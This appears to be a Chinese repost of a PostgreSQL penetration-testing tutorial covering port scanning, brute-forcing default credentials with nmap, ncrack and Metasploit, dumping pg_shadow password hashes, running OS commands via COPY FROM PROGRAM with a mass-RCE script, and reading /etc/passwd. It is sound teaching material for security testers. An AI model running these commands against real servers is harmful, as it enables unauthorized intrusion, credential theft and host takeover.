本文为摘录(或转载),侵删,原文为: https://hackviser.com/tactics/pentesting/services/postgresql
1 Reminder - definitions 提醒 - 定义
- 模式(SCHEMA)
PostgreSQL 的模式用来存放除了角色和表空间之外的所有对象,类似于命名空间的结构,允许同名对象在同一个数据库中共存,方便管理不同来源或用途的表和函数等。默认情况下,每次创建新的数据库都会含有一个叫做“public”的模式,但实际上还可以添加更多的模式,而且“public”模式的存在并不是必须的。表(TABLES)
数据库存储数据的最基本单元就是表,数据以行、列的形式被组织起来。
视图(VIEWS)
视图是由一条查询语句定义而成的虚拟表,在查询的时候从相关的原表中动态地提取出数据,并不是直接存储数据的实体。 视图是一种可以被使用直到被删除的字典对象,不过视图本身一般是不可更新的。
用户
PostgreSQL 数据库的默认超级管理员账户。拥有对数据库中的所有对象拥有极高的权限。
默认角色(DEFAULT ROLES)
PostgreSQL 设置了一系列默认角色。这些角色通常属于访问某些数据库的特权功能和私有信息所必须的,以便处理常规的、需要高权限的任务。数据库管理员可以根据需要将这些默认角色授予数据库中的用户或者其他自定义的第三方角色,从而允许这些用户和角色访问这些特权功能和信息。
面向过程的语言(PROCEDURAL LANGUAGES)
- 流程性语言允许开发人员通过自定义子例程(函数)来扩展数据库,这些通常被称为存储过程。*
- 语言被分为两组:
- 用保证安全的语言编写的过程是沙盒化的,任何用户都可以安全地创建和使用。
- 用不安全的语言编写的过程只能由超级用户创建,因为它们允许绕过数据库的安全限制,但也可以访问数据库外的资源。像 Perl 这样的有些语言同时提供了安全版和不安全版。
- PostgreSQL 内置支持三种过程性语言:
- 纯 SQL(安全的)
- PostgreSQL 过程语言(PL/pgSQL)(安全的)
- C(不安全的)。
- PostgreSQL 允许通过扩展将过程语言装入数据库。
PostgreSQL 自带三种语言扩展以支持 Perl、Python 和 Tcl。
身份验证机制(AUTHENTICATION MECHANISMS)
PostgreSQL 原生支持大量的外部身份验证机制,包括以下方式:
- 密码 :可以使用 SCRAM-SHA-256(从 PostgreSQL 10 开始提供)、MD5 或纯文本方式。
- 通用安全服务应用程序编程接口(GSSAPI)
- 安全支持提供程序接口(SSPI)
- Kerberos
- ident (把由 ident 服务器提供的操作系统用户名映射为数据库用户名)
- Peer (将本地用户名映射到数据库用户名)
- 轻量级目录访问协议(LDAP)
- Active Directory(活动目录,AD)
- RADIUS
- 证书
- 可插拔的身份验证模块(PAM)
这些方法是在集群的基于主机的身份验证配置文件(pg_hba.conf)中指定的,它会确定哪些连接是被允许的。这允许控制哪个用户能够连接到哪个数据库,他们可以从哪里连接(IP 地址、IP 地址范围、域套接字),将执行哪种身份验证系统,以及连接是否必须使用传输层安全(TLS)。
2 数据库渗透测试 - 攻击列表
黑盒渗透测试(从未经授权的攻击者到可以登录数据库的用户)
- 尝试暴力攻击,来检测是否存在默认的或者容易猜到的数据库用户名密码。
- 在可以连接到 PostgreSQL 数据库的 Web 应用程序中,检测是否存在 SQL 注入漏洞,能让我们运行未经授权的 SQL 查询语句。
- 攻击了一台服务器,在里面发现了硬编码在脚本、配置文件、.bash_history 文件或者应用程序源代码里的明文
PostgreSQL 数据库账号密码。
- 运行针对 PostgreSQL 数据库的远程漏洞利用代码(0 day 漏洞,或者这个数据库缺少相应漏洞修复补丁)。
- 经过中间人攻击,意外截获了明文或者已经被哈希加密的账号密码(比如通过 ARP 缓存投毒的方式)。
灰盒渗透测试(提升权限,成为数据库管理员或者在数据库所在的服务器操作系统上运行任意操作系统命令)
灰盒测试一般意味着测试者有一定程度的系统访问权限。这种测试主要是尝试提升现有的权限,比如从普通数据库用户权限提升为数据库管理员权限,或者不仅仅是控制数据库,还想通过对数据库的操作来影响到支撑
PostgreSQL 数据库的服务器操作系统,比如执行一些操作系统级别的命令,进行服务器内部的横向移动等操作,具体的测试方法依赖于数据库的配置、漏洞以及系统的细节情况而有所不同,不能像黑盒测试部分那样列出一招一式的具体攻击手法,需要根据实际情况灵活发挥技术水平。
3 如何通过网络 TCP 端口扫描定位 PostgreSQL 数据库
1
2
3
4
5
6
7
8
9
10
| pentester@KaliLinux> nmap -Pn -sS -sV -vv -p 5432 IP-address
pentester@KaliLinux> nmap -v -Pn -sS -sV -p- 192.168.75.149
Example:
Nmap scan report for 192.168.1.104
Host is up (0.00044s latency).
PORT STATE SERVICE VERSION
5432/tcp open postgresql PostgreSQL DB 9.3.3 - 9.3.5
|_ssl-date: TLS randomness does not represent time
|
4 如何执行暴力攻击以识别有效的 PostgreSQL 数据库凭证(登录名和密码)
- 默认数据库管理员账户及密码 :=postgres:postgres=(用户名是=postgres=,密码也是=postgres=)
- 其他常见账号密码
- =admin:admin=(用户名是 admin,密码也是 admin)
- =admin:postgres=(用户名是 admin,密码是 postgres)
- =admin:password=(用户名是 admin,密码是 password)
4.1 NMAP - ‘pgsql-brute’ module (https://nmap.org)
1
2
3
4
5
6
| pentester@KaliLinux> nmap -p 5432 --script pgsql-brute <host>
Script Output
5432/tcp open pgsql
| pgsql-brute:
| postgres:postgres => Valid credentials
|_ test:test => Valid credentials
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt
//warning: rockyou.txt does not contain by default 'postgres'
root@Security-Audit-01:/home/pentester# ncrack psql://192.168.1.26 -u postgres -P /usr/share/wordlists/rockyou2.txt
Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-20 02:22 CET
Stats: 0:00:06 elapsed; 0 services completed (1 total)
Rate: 1040.39; Found: 1; About 0.03% done
(press 'p' to list discovered credentials)
Discovered credentials for psql on 192.168.1.26 5432/tcp:
192.168.1.26 5432/tcp psql: 'postgres' 'postgres'
caught SIGINT signal, cleaning up
|
1
2
3
4
5
6
7
| pentester@KaliLinux> msfconsole
> auxiliary/scanner/postgres/postgres_login
> show options
> set RHOSTS <Target IP>
> set USERPASS_FILE /root/<your_username_file>
> set PASS_FILE /root/<your_password_file>
> exploit
|
Example:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| msf5 > use auxiliary/scanner/postgres/postgres_login
msf5 auxiliary(scanner/postgres/postgres_login) > options
Module options (auxiliary/scanner/postgres/postgres_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DATABASE template1 yes The database to authenticate against
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS yes The target address range or CIDR identifier
RPORT 5432 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt no File containing users, one per line
VERBOSE true yes Whether to print output for all attempts
msf5 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf5 auxiliary(scanner/postgres/postgres_login) > run
[!] No active DB -- Credential data will not be saved!
[-] 192.168.1.104:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 192.168.1.104:5432 - Login Successful: postgres:postgres@template1
[-] 192.168.1.104:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.1.104:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/postgres/postgres_login) >
|
5 如何检测数据库是否存在已知的未修复的漏洞(例如,是否为过时的数据库版本、缺少安全补丁)
- 第一步:使用各种工具(如 Nmap 或 Metasploit 发现模块)确定数据库的版本(版本号可能会披露在软件横幅中或者可以通过识别服务的行为等手段检测到)。如果没有数据库登录凭证,就只能采用这种方式; 如果当时已经拥有数据库的登录凭证,最好登录到数据库,确认其确切的版本号及其补丁级别。
- 第二步:去互联网上(例如数据库提供方的网站、www.cvedetails.com)查找版本是否还在被支持,并且是否易受已知漏洞的攻击 。
- 第三步:使用各种工具和资源,包括 ExploitDB / SearchSploit、Metasploit、Github
等来查找是否已经有记录的与之对应的漏洞利用方案。
5.1 Metasploit 的“PostgreSQL Version Probe”模块
除了手动使用 PGSQL 登录或使用 NMAP 之外,Metasploit 的“PostgreSQL Version Probe”模块也可以枚举 PostgreSQL
服务器的版本。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| > auxiliary/scanner/postgres/postgres_version
> https://www.rapid7.com/db/modules/auxiliary/scanner/postgres/postgres_version
msf5 > use auxiliary/scanner/postgres/postgres_version
msf5 auxiliary(scanner/postgres/postgres_version) > options
Module options (auxiliary/scanner/postgres/postgres_version):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS yes The target address range or CIDR identifier
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
msf5 auxiliary(scanner/postgres/postgres_version) > set RHOSTS 192.168.1.104
RHOSTS => 192.168.1.104
msf5 auxiliary(scanner/postgres/postgres_version) > run
[*] 192.168.1.104:5432 Postgres - Version PostgreSQL 9.3.4 on x86_64-unknown-linux-gnu, compiled by gcc (Ubuntu 4.8.2-16ubuntu6) 4.8.2, 64-bit (Post-Auth)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
|
5.2 使用 SearchSploit 在 ExploitDB 数据库中查找公开的漏洞利用方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| pentester@Security-Audit-01:~$ searchsploit postgresql
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
PostgreSQL - 'bitsubstr' Buffer Overflow | exploits/linux/dos/33571.txt
PostgreSQL 6.3.2/6.5.3 - Cleartext Passwords | exploits/immunix/local/19875.txt
PostgreSQL 7.x - Multiple Vulnerabilities | exploits/linux/dos/25076.c
PostgreSQL 8.01 - Remote Reboot (Denial of Service) | exploits/multiple/dos/946.c
PostgreSQL 8.2/8.3/8.4 - UDF for Command Execution | exploits/linux/local/7855.txt
PostgreSQL 8.3.6 - Conversion Encoding Remote Denial of Service | exploits/linux/dos/32849.txt
PostgreSQL 8.3.6 - Low Cost Function Information Disclosure | exploits/multiple/local/32847.txt
PostgreSQL 8.4.1 - JOIN Hashtable Size Integer Overflow Denial of Service | exploits/multiple/dos/33729.txt
PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit) | exploits/multiple/remote/46813.rb
PostgreSQL 9.4-0.5.3 - Privilege Escalation | exploits/linux/local/45184.sh
----------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
|
5.3 查看 Metasploit 为 PostgreSQL 提供的可用模块和漏洞利用程序。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| msf5 > search postgres
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/admin/http/manageengine_pmp_privesc 2014-11-08 normal Yes ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection
auxiliary/admin/http/rails_devise_pass_reset 2013-01-28 normal No Ruby on Rails Devise Authentication Password Reset
auxiliary/admin/postgres/postgres_readfile normal No PostgreSQL Server Generic Query
auxiliary/admin/postgres/postgres_sql normal No PostgreSQL Server Generic Query
auxiliary/analyze/jtr_postgres_fast normal No John the Ripper Postgres SQL Password Cracker
auxiliary/scanner/postgres/postgres_dbname_flag_injection normal Yes PostgreSQL Database Name Command Line Flag Injection
auxiliary/scanner/postgres/postgres_hashdump normal Yes Postgres Password Hashdump
auxiliary/scanner/postgres/postgres_login normal Yes PostgreSQL Login Utility
auxiliary/scanner/postgres/postgres_schemadump normal Yes Postgres Schema Dump
auxiliary/scanner/postgres/postgres_version normal Yes PostgreSQL Version Probe
auxiliary/server/capture/postgresql normal No Authentication Capture: PostgreSQL
exploit/linux/postgres/postgres_payload 2007-06-05 excellent Yes PostgreSQL for Linux Payload Execution
exploit/multi/http/manage_engine_dc_pmp_sqli 2014-06-08 excellent Yes ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection
exploit/multi/postgres/postgres_createlang 2016-01-01 good Yes PostgreSQL CREATE LANGUAGE Execution
exploit/windows/misc/manageengine_eventlog_analyzer_rce 2015-07-11 manual Yes ManageEngine EventLog Analyzer Remote Code Execution
exploit/windows/postgres/postgres_payload 2009-04-10 excellent Yes PostgreSQL for Microsoft Windows Payload Execution
post/linux/gather/enum_users_history normal No Linux Gather User History
|
6 如何使用有效凭证登录 PostgreSQL 数据库
6.1 * PostgreSQL client
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| pentester@KaliLinux> psql -h 192.168.1.26 -U postgres -W
Password for user postgres: <enter password>
pgsql>
pgsql> SELECT VERSION();
version
-----------------------------------------------------------------------------------------------
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
(1 row)
pgsql>
pgsql> \l
List of databases
Name | Owner | Encoding | Access privileges
-----------+----------+----------+-----------------------
postgres | postgres | UTF8 |
template0 | postgres | UTF8 | =c/postgres +
| | | postgres=CTc/postgres
template1 | postgres | UTF8 | =c/postgres +
| | | postgres=CTc/postgres
(3 rows)
pgsql>
pgsql> \du
List of roles
Role name | Attributes | Member of
-----------+-----------------------------------+-----------
postgres | Superuser, Create role, Create DB | {}
|
6.2 DbVisualizer (GUI multi-database client; https://dbvis.com)
1
2
3
4
5
6
7
8
| pentester@LinuxVM > sudo find / -name dbvis
/root/DbVisualizer/wrapper/classes/com/onseven/dbvis
/root/DbVisualizer/dbvis
/usr/local/bin/dbvis
pentester@LinuxVM > sudo su
root@LinuxVM > cd /root/DbVisualizer/
root@LinuxVM > ./dbvis
|
On the GUI:
1
2
3
4
5
6
7
| > Go to "TOOLS"
> Go to "New Connection Wizard"
> Enter "PostgreSQL pentest training"
> Select Database Connector for PostgreSQL
> Enter all the right info
> "Ping Server"
> "Connect"
|
6.3 * Metasploit - ‘PostgreSQL Server Generic Query’ module
此模块允许在拥有适当凭证的前提下,针对 PostgreSQL 实例执行简单的 SQL 语句。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| msf5 auxiliary(admin/postgres/postgres_sql) > options
Module options (auxiliary/admin/postgres/postgres_sql):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS 192.168.1.26 yes The target address range or CIDR identifier
RPORT 5432 yes The target port
SQL select version() no The SQL query to execute
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
msf5 auxiliary(admin/postgres/postgres_sql) > run
Query Text: 'select version()'
==============================
version
-------
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Auxiliary module execution completed
msf5 auxiliary(admin/postgres/postgres_sql) > options
Module options (auxiliary/admin/postgres/postgres_sql):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE template1 yes The database to authenticate against
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RETURN_ROWSET true no Set to true to see query result sets
RHOSTS 192.168.1.26 yes The target address range or CIDR identifier
RPORT 5432 yes The target port
SQL SELECT usename, usesysid, usesuper, passwd FROM pg_shadow; no The SQL query to execute
USERNAME postgres yes The username to authenticate as
VERBOSE false no Enable verbose output
msf5 auxiliary(admin/postgres/postgres_sql) > run
Query Text: 'SELECT usename, usesysid, usesuper, passwd FROM pg_shadow;'
========================================================================
usename usesysid usesuper passwd
------- -------- -------- ------
postgres 10 t md53175bce1d3201d16594cebf9d7eb3f9d
[*] Auxiliary module execution completed
|
7 如何识别并利用数据库和操作系统权限提升漏洞
7.1 检查各种有用信息(比如用户列表、数据库密码策略、谁是数据管理员等)
7.1.1 一些有趣的标志
要查看全部,请根据 psql 版本使用 -h 或 --help )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| -E: will describe the underlaying queries of the \ commands (cool for learning!)
-l: psql will list all databases and then exit (useful if the user you connect with doesn't has a default database, like at AWS RDS)
"\d" commands support additional param of __schema__.name__ and accept wildcards like *.*
\q: Quit/Exit
\c __database__ Connect to a database
\d __table__ Show table definition including triggers
\d+ __table__ More detailed table definition including description and physical disk size
\l List databases
\dy List events
\df List functions
\di List indexes
\dn List schemas
\dt *.* List tables from all schemas (if *.* is omitted will only show SEARCH_PATH ones)
\dT+ List all data types
\dv List views
\du List of users and roles
\df+ __function__ Show function SQL code.
\x Pretty-format query results instead of the not-so-useful ASCII tables
\copy (SELECT * FROM __table_name__) TO 'file_path_and_name.csv' WITH CSV: Export a table as CSV
\i filename Execute psql commands from a file
\q Quit psql
|
1
2
3
4
5
6
| \du List users and roles
\du username List a username if present.
create role __test1__ Create a role with an existing username.
create role __test2__ noinherit login password __passsword__; Create a role with username and password.
set role __test__; Change role for current session to __test__.
grant __test2__ to __test1__; Allow __test1__ to set its role as __test2__.
|
7.1.3 To display the privileges of a specific suer
1
2
3
4
5
6
7
8
9
| SELECT
table_catalog,
table_schema,
table_name,
privilege_type
FROM
information_schema.table_privileges
WHERE
grantee = 'example_user';
|
7.1.4 Useful SQL queries
| 查询语句 | 作用 |
|---|
| SELECT * FROM pg_user; | Display the privileges of each user |
| SELECT * FROM pg_roles; | Display the database roles of each user |
| SELECT VERSION(); | Display the database version |
| \\connect db_name | Change current database |
| SELECT * FROM pg_shadow; | Extract the password hashes |
| pg_dump -Fc dbname > filename | Back up a database (database backups are compressed by default) |
| pg_restore -d dbname filename | Restore from backup |
| GRANT pg_read_server_files TO test_user; | Grant privileges to a user |
| SELECT * FROM pg_shadow; | Dump the database password hashes |
7.1.5 Default Roles
| 角色 | 允许的访问权限 |
|---|
| pg_read_all_settings | 读取所有配置变量,包括通常只对超级用户可见的变量。 |
| pg_read_all_stats | 读取所有 pg_stat_/ 视图并使用各种与统计信息相关的扩展,包括通常只对超级用户可见的内容。 |
| pg_stat_scan_tables | 执行可能对表施加 ACCESS SHARE 锁的监控功能,这些锁可能会持续很长时间。 |
| pg_monitor | 读取和执行各种监控视图和函数。这个角色是 pg_read_all_settings、pg_read_all_stats 和 pg_stat_scan_tables 的成员。 |
| pg_signal_backend | 向另一个后端发送信号以取消查询或终止其会话。 |
| pg_read_server_files | 使用 COPY 和其他文件访问功能读取服务器上数据库可以访问的任何位置的文件。 |
| pg_write_server_files | 使用 COPY 和其他文件访问功能在服务器上数据库可以访问的任何位置写入文件。 |
| pg_execute_server_program | 作为运行数据库的用户,在服务器上执行程序,以及执行允许在服务器端运行程序的 COPY 和其他函数。 |
7.1.6 Role Attributes
一个数据库角色可以具备多个属性,这些属性定义了它的权限以及与客户端认证系统的交互方式。
7.1.7 List of roles/users
1
2
3
4
5
6
7
8
| postgres=# \du
List of roles
Role name | Attributes | Member of
---------------+------------------------------------------------------------+-----------
auditor | Superuser, Replication | {}
doadmin | Create role, Create DB, Replication, Bypass RLS | {}
postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {}
user | | {}
|
Note:
1
2
| create role pentester nosuperuser login nocreatedb nocreaterole Password 'Password1';
create role auditor nosuperuser login nocreatedb nocreaterole Password 'Password1';
|
7.1.8 Metasploit - ‘Postgres Schema Dump’ module
这个模块可以从 PostgreSQL 数据库服务器中提取模式信息。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| msf5 auxiliary(scanner/postgres/postgres_schemadump) > options
Module options (auxiliary/scanner/postgres/postgres_schemadump):
Name Current Setting Required Description
---- --------------- -------- -----------
DATABASE postgres yes The database to authenticate against
DISPLAY_RESULTS true yes Display the Results to the Screen
PASSWORD postgres no The password for the specified username. Leave blank for a random password.
RHOSTS yes The target address range or CIDR identifier
RPORT 5432 yes The target port
THREADS 1 yes The number of concurrent threads
USERNAME postgres yes The username to authenticate as
msf5 auxiliary(scanner/postgres/postgres_schemadump) > set RHOSTS 192.168.1.26
RHOSTS => 192.168.1.26
msf5 auxiliary(scanner/postgres/postgres_schemadump) > run
[+] Postgres SQL Server Schema
Host: 192.168.1.26
Port: 5432
====================
--- []
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
|
7.1.9 Audit Tool - PostgreSQL STIG Compliance Validator (pgStigCheck)
1
2
3
| => PostgreSQL STIG Compliance Validator (pgStigCheck) for InSpec is an open source compliance testing solution for PostgreSQL.
=> The PostgreSQL Security Technical Implementation Guide (STIG) by the United States Defense Information Systems Agency (DISA) offers security-conscious enterprises a comprehensive guide for the configuration and operation of open source PostgreSQL.
=> https://github.com/CrunchyData/pgstigcheck-inspec
|
7.2 数据库和操作系统提升权限 - 使用“从程序复制(COPY FROM PROGRAM)”执行操作系统命令
- COPY .. PROGRAM 功能明确指出,只有被授予了 ‘superuser’ 特权或者默认角色 ‘pg_execute_server_program’
的数据库用户才能够执行这个功能。
- 根据设计,这个功能使得那些被授予了 ‘superuser’ 或者 ‘pg_execute_server_program’ 的用户,能够以 PostgreSQL
服务器运行在底层的操作系统的身份(一般身份是 “postgres”)来执行操作。
- 默认情况下,这个功能处于启用状态,修改者可以修改、滥用这个功能,在 Windows、Linux 和 macOS 上运行任意的操作系统指令。
- 在 PostgreSQL 9.3 中添加的 COPY .. PROGRAM 功能,没有改变前面所说的任何一点,而是在已经存在的相同的安全边界内,添加了一个新的命令。
- 引文指出,在 PostgreSQL 中,超级用户可以在丝毫不使用 ‘COPY FROM PROGRAM’ 的情况下,以服务器身份来执行检测操作系统命令。
7.2.1 Manual exploit
7.2.2 Metasploit - ‘PostgreSQL COPY FROM PROGRAM Command Execution’ module
psql-mass-rce 是一个渗透测试工具,能够让使用者方便地对网络中的许多 PostgreSQL 服务器进行远程命令执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| root@Security-Audit-01:~/Desktop/CTFs/Typhoon/struts/postgres# python ./psql-mass-rce.py 192.168.1.104 --command 'whoami'
[x] Starting host 192.168.1.104:5432
('[+] Good credentials:', 'postgres:postgres')
[!] RCE 'whoami'
postgres
root@Security-Audit-01:~/Desktop/CTFs/Typhoon/struts/postgres# python ./psql-mass-rce.py 192.168.1.104 --command 'hostname'
[x] Starting host 192.168.1.104:5432
('[+] Good credentials:', 'postgres:postgres')
[!] RCE 'hostname'
typhoon.local
root@Security-Audit-01:~/Desktop/CTFs/Typhoon/struts/postgres# python ./psql-mass-rce.py 192.168.1.104 --command 'ifconfig'
[x] Starting host 192.168.1.104:5432
('[+] Good credentials:', 'postgres:postgres')
[!] RCE 'ifconfig'
docker0 Link encap:Ethernet HWaddr 02:42:a8:79:d6:eb
inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
eth0 Link encap:Ethernet HWaddr 08:00:27:34:bf:f6
inet addr:192.168.1.104 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: 2a01:e35:2fef:d7e0:f8ff:85f4:bffc:83cd/64 Scope:Global
inet6 addr: 2a01:e35:2fef:d7e0:a00:27ff:fe34:bff6/64 Scope:Global
inet6 addr: fe80::a00:27ff:fe34:bff6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1970 errors:0 dropped:0 overruns:0 frame:0
TX packets:354 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:135643 (135.6 KB) TX bytes:60155 (60.1 KB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:152 errors:0 dropped:0 overruns:0 frame:0
TX packets:152 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:79825 (79.8 KB) TX bytes:79825 (79.8 KB)
virbr0 Link encap:Ethernet HWaddr 4e:99:b8:8a:3c:c4
inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
|
7.3 数据库和操作系统提升权限
使用 pg_read_server_files 和 pg_write_server_files 或“超级用户”权限、读取和写入操作系统文件.
尝试读取和写入、修改有趣的文件,如配置文件、脚本、日志(例如 “/home/<用户>/.bash_history”),以及 SSH 密钥(例如“/home/<用户>/.ssh/authorized_keys”)等,这些文件将允许你接管托管 PostgreSQL 数据库的 Linux 或 Windows
服务器。
7.3.1 Set up the environments
1
2
3
4
| create role pentester nosuperuser login nocreatedb nocreaterole Password 'Password1';
create role auditor nosuperuser login nocreatedb nocreaterole Password 'Password1';
grant pg_write_server_files to pentester;
grant pg_read_server_files to auditor;
|
Then use the command “\\du” to see the users and roles.
7.3.2 Manual exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| postgres=# SHOW data_directory;
data_directory
------------------------------
/var/lib/postgresql/9.3/main
(1 row)
postgres=# select pg_ls_dir('./');
pg_ls_dir
-----------------
PG_VERSION
pg_notify
pg_multixact
pg_subtrans
pg_serial
pg_snapshots
pg_stat
pg_clog
pg_xlog
base
pg_twophase
pg_tblspc
global
pg_stat_tmp
postmaster.opts
postmaster.pid
(16 rows)
postgres=# select pg_read_file('PG_VERSION');
pg_read_file
--------------
9.3 +
(1 row)
postgres=# select pg_read_file('/etc/passwd');
ERROR: absolute path not allowed
postgres=# create table docs (data TEXT);
CREATE TABLE
postgres=# copy docs from '/etc/passwd';
COPY 52
postgres=# select * from docs limit 10;
data
---------------------------------------------------
admin:x:1001:1001:,,,:/home/admin:/bin/bash
avahi:x:112:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
<SNIP>
postgres=# drop table docs;
DROP TABLE
|
7.3.3 Metasploit - ‘postgres_readfile’ module